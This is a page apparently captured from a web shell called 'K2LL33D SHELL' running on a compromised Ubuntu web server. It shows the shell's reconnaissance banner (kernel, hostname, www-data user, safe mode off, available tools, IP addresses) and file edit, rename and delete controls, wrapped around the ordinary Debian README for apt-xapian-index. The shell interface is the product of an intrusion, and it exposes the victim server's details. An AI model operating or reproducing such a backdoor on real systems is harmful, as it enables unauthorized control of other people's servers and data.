K2LL33D SHELL

 Apache/2.4.7 (Ubuntu)
 Linux sman1baleendah 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64
 uid=33(www-data) gid=33(www-data) groups=33(www-data)
 safemode : OFF
 MySQL: ON | Perl: ON | cURL: OFF | WGet: ON
  >  / usr / share / doc / apt-xapian-index /
server ip : 104.21.89.46

your ip : 172.69.59.103

H O M E


Filename/usr/share/doc/apt-xapian-index/README
Size2.09 kb
Permissionrw-r--r--
Ownerroot : root
Create time27-Apr-2025 09:53
Last modified31-Oct-2012 21:07
Last accessed06-Jul-2025 16:33
Actionsedit | rename | delete | download (gzip)
Viewtext | code | image
Repo:
git://git.debian.org/git/collab-maint/apt-xapian-index.git
http://git.debian.org/?p=collab-maint/apt-xapian-index.git

Idea:
- Many data sources each maintain their own data, but provide a plugin to
index that data in a single, big Xapian database.
- Every data source has its own db (possibly easy to read plaintext) in
/var/lib/somewhere
- Every data source has a tool to keep their own db up to date (e.g.
downloading new data from the net, or whatever)
- Every data source installs a plugin in /usr/share/apt-xapian/index/plugins
that adds information from the data source into Xapian documents during
indexing

Technicalities:
- There is a central update procedure, but it is fed enough data to do
differential updates when xapian will make it faster to do so
- Next to the database there is a README file with information about how the
index is built and how it can be queried. Every indexing plugin adds
information to this README
- Xapian values are looked up by index. Indexes are given names using a
configuration file in the style of /etc/services, located at
/etc/apt/xapian-index-values.conf

Writing a plugin:
- Take a look at plugins/template.py: it contains all the methods and full
documentations on what they should do.
- Take a look at the other plugins for examples: there are many of them.

Packages with Xapian bindings that can be uses for querying the database:
- C++: libxapian-dev
- Perl: libsearch-xapian-perl
- Ruby: libxapian-ruby1.8
- Python: python-xapian
- Tcl: tclxapian
- PHP: php5-xapian

The C++ API documentation is in the package xapian-doc. The documentation of
the other languages is in the same package as the bindings.

Examples can be found in xapian-examples, as well as in apt-xapian-index.

Some low-level tools to access the database can be found in xapian-tools.

Please see http://www.xapian.org and http://www.xapian.org/docs/


To do:
- Example queries
- Example scripts
- Document libept transition

- Libept transition
- Move the debtags plugin in the debtags package
- Popcon data source
- Iterating data source